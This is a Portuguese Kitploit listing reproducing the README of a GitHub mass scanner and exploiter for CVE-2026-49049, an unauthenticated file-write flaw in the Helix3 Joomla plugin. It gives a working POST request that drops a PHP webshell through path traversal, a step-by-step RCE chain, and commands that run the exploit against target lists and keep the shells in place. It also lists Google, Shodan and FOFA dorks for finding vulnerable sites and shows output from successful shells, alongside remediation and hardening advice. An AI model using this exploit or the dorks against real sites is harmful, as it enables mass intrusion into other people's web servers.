Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-49049 — CVE-2026-49049 Helix3 (JoomShaper) Joomla Scanner RCE AJAX Não Autenticado | Kitploit
Ferramentas/GitHubGitHub/exdev994/cve-2026-49049
ReconhecimentoScanners de VulnerabilidadesGeração de PayloadsExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubexdev994/cve-2026-49049

CVE-2026-49049

CVE-2026-49049 Helix3 (JoomShaper) Joomla Scanner RCE AJAX Não Autenticado

Ver Repositório
2há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-49049 — Scanner de RCE AJAX não autenticado do Helix3 (JoomShaper) para Joomla

CVE CVSS Python License Author

Scanner/verificador em massa para CVE-2026-49049: manipulador AJAX não autenticado no plugin Helix3 Framework para Joomla (v1.0 – 3.1.0, corrigido na 3.1.1+).

Teste autorizado apenas. Use apenas em sistemas que você possui ou tem permissão por escrito para testar.


Índice

  • Visão Geral da Vulnerabilidade
  • Cadeia de RCE
  • Instalação
  • Como Usar (Uso)
  • Exemplo de Saída
  • Dorks de Reconhecimento
  • Como Corrigir (Remediação)
  • Estrutura do Projeto
  • Contribuindo
  • Referências
  • Aviso Legal

Visão Geral da Vulnerabilidade

O manipulador onAjaxHelix3() em plugins/ajax/helix3/helix3.php é acessível via Joomla com_ajax sem autenticação / token CSRF:

root@kitploit:~
POST /index.php?option=com_ajax&plugin=helix3&format=json
Content-Type: application/x-www-form-urlencoded

data[action]=save&data[layoutName]=../../up.php&data[content]=<?php system($_GET['cmd']); ?>
AçãoImpacto

Cadeia de RCE

Exploração em massa ativa na natureza geralmente deixa um webshell de extensão dupla:

  1. Detecta Helix3 + versão < 3.1.1
  2. save com layoutName=../../up.php + conteúdo PHP webshell
  3. Salvar anexa .json → up.php.json vai parar na raiz web
  4. Apache AddHandler multi-extension executa o token .php
  5. GET /up.php.json?cmd=id → uid=33(www-data) = SHELL OK
root@kitploit:~
Detectar Helix3
    → POST com_ajax?plugin=helix3 (action=save, traversal)
    → up.php.json escrito
    → GET up.php.json?cmd=id
    → uid=33(www-data)

Instalação

root@kitploit:~
git clone https://github.com/ExDev994/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt

Requisitos: requests>=2.31.0, colorama>=0.4.6, Python 3.9+.


Como Usar (Uso)

1. Prepare o alvo

Edite targets.txt — uma URL / host por linha (# = comentário). O caminho Joomla é mantido:

root@kitploit:~
# exemplo
https://example.com/
https://example.com/joomla/
http://192.168.1.50/

2. Varredura somente leitura (apenas detecção)

Não solta webshell. Verifica versão + testa save / remove / import:

root@kitploit:~
python3 scan.py -f targets.txt --scan -o results.txt

3. Automático: detectar + soltar webshell + verificar RCE

root@kitploit:~
python3 scan.py -f targets.txt --auto -c "id" -o results.txt

4. Alvo único

root@kitploit:~
python3 scan.py -t https://target.tld/joomla/ --auto -c "id"

5. Opções avançadas

root@kitploit:~
# Manter webshell após verificação (demo autorizado)
python3 scan.py -f targets.txt --auto --keep

# Nome personalizado do webshell + profundidades de traversal
python3 scan.py -f targets.txt --auto \
  --webshell-name up.php \
  --traversal-depths "../../,../../../"

# Relatório JSON + concorrência
python3 scan.py -f targets.txt --auto -c "whoami" \
  --threads 20 --timeout 15 \
  -o results.txt --json report.json

# Proxy (Burp / etc)
python3 scan.py -t https://target.tld/ --scan --proxy http://127.0.0.1:8080

Bandeiras importantes

Aviso: O modo --auto tenta escrever um webshell via path traversal. Padrão: webshell removido após verificação. Use --keep apenas para demonstração autorizada.


Exemplo de Saída

Terminal exibe todos os status (progresso). results.txt contém apenas os vulneráveis:

root@kitploit:~
[v] CVE-2026-49049 SHELL OK  https://target.tld  Helix3 2.5.6  save=Y remove=Y import=N
[id] -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
    shell: https://target.tld/up.php.json?cmd=id
[ ] VULN (no shell)         https://target.tld  Helix3 3.0.2  save=Y remove=Y import=Y

Outros rótulos (PATCHED, NOT_HELIX3, TIMEOUT, UNKNOWN) aparecem apenas no terminal, não entram em results.txt.


Dorks de Reconhecimento

Use os dorks abaixo para encontrar ativos Helix3 / Joomla potencialmente afetados. Varra apenas alvos autorizados.

Google

root@kitploit:~
inurl:templates/shaper_helix3/templateDetails.xml
inurl:"templates/shaper_helix3"
"shaper_helix3" "Joomla"
inurl:index.php?option=com_ajax "helix3"
"powered by Helix" Joomla
intitle:"Home" "shaper_helix3"
inurl:/templates/helix3/

Shodan

root@kitploit:~
http.html:"shaper_helix3"
http.html:"Helix3" http.html:"Joomla"
http.title:"Joomla" "shaper_helix3"
http.html:"/templates/shaper_helix3/"
http.html:"joomshaper" product:"Joomla"
html:"plg_system_helix3"

FOFA

root@kitploit:~
body="shaper_helix3"
body="/templates/shaper_helix3/" && body="Joomla"
body="Helix3" && body="joomshaper"
body="plg_ajax_helix3" || body="onAjaxHelix3"
title="Joomla" && body="shaper_helix3"
body="templateDetails.xml" && body="helix3"

Identificação manual (após obter o host)

root@kitploit:~
# Version check
curl -sk 'https://TARGET/templates/shaper_helix3/templateDetails.xml' | grep -i version

# Unauth save probe (authorized only)
curl -sk -X POST \
  'https://TARGET/index.php?option=com_ajax&plugin=helix3&format=json' \
  -d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'

Como Corrigir (Remediação)

1. Aplicar patch imediatamente (obrigatório)

Atualize os plugins System – Helix3 Framework e Helix3 – Ajax para 3.1.1 ou superior (recomendado 3.1.2).

  • Joomla backend → System → Update / Extensions
  • Ou baixe o pacote oficial do JoomShaper e instale manualmente

2. Se já estiver comprometido/desfigurado

A atualização não limpa os payloads já inseridos no banco de dados.

  1. Backend → Site Template Styles → template Helix3 ativo
  2. Abra Custom Code — remova scripts estranhos em Custom JavaScript / CSS / Before Head
  3. Verifique a tabela #__template_styles coluna params para custom_js / custom_css injetados
  4. Remova arquivos suspeitos em web root / templates / tmp / media:
    • up.php.json, cox.json, *.php.json, webshell outros
  5. Alterne credenciais de admin, revise contas de usuário, audite cron / tarefas agendadas

Sinais comuns de comprometimento: desfiguração "Hacked by AntonKill" / "trenggalek6etar", injeção de custom_js, arquivos JSON desconhecidos.

3. Fortalecimento (defesa em profundidade)

Apache — não use AddHandler multi-extensão; use:

root@kitploit:~
<FilesMatch "\.php$">
    SetHandler application/x-httpd-php
</FilesMatch>

Nginx:

root@kitploit:~
location ~ \.php$ {
    try_files $uri =404;
    fastcgi_pass unix:/run/php/php-fpm.sock;
}

PHP php.ini:

root@kitploit:~
disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec

Upload / escrita de arquivo: regenere nome de arquivo, recuse extensões multi-ponto, AllowOverride None em diretórios públicos.

4. Verificação após o patch

root@kitploit:~
python3 scan.py -t https://YOUR-SITE/ --scan
# Expected: PATCHED  Helix3 3.1.1+  (ou NOT_HELIX3 se plugin desinstalado)

Estrutura do Projeto

root@kitploit:~
CVE-2026-49049/
├── scan.py              # CLI entry point
├── core/
│   ├── engine.py        # ThreadPoolExecutor + results (vuln-only to file)
│   ├── probe.py         # Helix3 detect + save/remove/import + RCE drop
│   └── target.py        # Parse / normalize targets.txt
├── utils/
│   └── banner.py
├── targets.txt          # Input targets
├── results.txt          # Generated (VULN / SHELL_OK only)
├── requirements.txt
└── README.md

Contribuindo

Contribuições da comunidade são bem-vindas. Mantenedor: ExDev994.

Diretrizes

  • Não commitar alvos ativos / resultados de varredura / webshell / credenciais
  • Não reduzir o aviso “apenas teste autorizado”
  • Preferir PRs pequenos (um assunto por PR)
  • Seguir o estilo Python existente (from __future__ import annotations, type hints)
  • Testar localmente: python3 -m py_compile scan.py core/*.py utils/*.py e python3 scan.py --help

Issues

Relatar bugs / solicitar recursos em Issues. Incluir:

  • Versão do Python e SO
  • Comando executado
  • Saída / traceback (ocultar alvo sensível)

Contribuidores

ContribuidorFunção
ExDev994Autor / Mantenedor

Vulnerabilidade originalmente reportada por Phil Taylor (mySites.guru). Este repositório é uma implementação independente de scanner e não é afiliado à JoomShaper ou Open Source Matters.


Referências

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-49049
  • Aviso (mySites.guru): https://mysites.guru/blog/helix3-security-update-changelog-failure/
  • JoomShaper Helix3: https://www.joomshaper.com/
  • PoC somente leitura de referência: https://github.com/shinthink/CVE-2026-49049
  • Este repositório: https://github.com/ExDev994/CVE-2026-49049

Aviso Legal

Esta ferramenta é apenas para fins educacionais e de teste de segurança autorizado.

O acesso não autorizado a sistemas de computador é ilegal e pode violar leis incluindo a UU ITE da Indonésia, o CFAA dos EUA e estatutos equivalentes em outras jurisdições.

O autor (ExDev994) não assume responsabilidade por uso indevido. Ao usar este software, você aceita total responsabilidade por suas ações. O modo --auto solta um webshell temporário — use apenas em alvos autorizados.

Baixar ferramenta
Versões
salvarEscrita arbitrária de arquivo JSON + path traversal1.0 – 3.1.0
removerExclusão arbitrária de arquivo (sem restrição de extensão/caminho)1.0 – 3.1.0
importarSobrescreve parâmetros de template no BD (custom_js sem escape → XSS/desfiguração)v3.x only
Versão do Helix3salvar / removerimportarStatus
1.0 – 2.xVulnerávelNão presenteVulnerável
3.0 – 3.1.0VulnerávelVulnerávelVulnerável
3.1.1+CorrigidoCorrigidoSeguro
BandeiraDescrição
-f / --fileLista de alvos em arquivo (padrão: targets.txt se -t ausente)
-t / --targetURL de alvo único
--scanDetecção somente leitura
--autoDetectar + verificar RCE (padrão)
-c / --cmdComando de verificação (padrão: id)
-o / --outputArquivo de resultado — apenas alvos VULN / SHELL_OK
--jsonRelatório JSON estruturado
--keepNão remover automaticamente webshell após verificação
--threadsTrabalhadores concorrentes (padrão: 15)
--timeoutTempo limite HTTP em segundos (padrão: 15)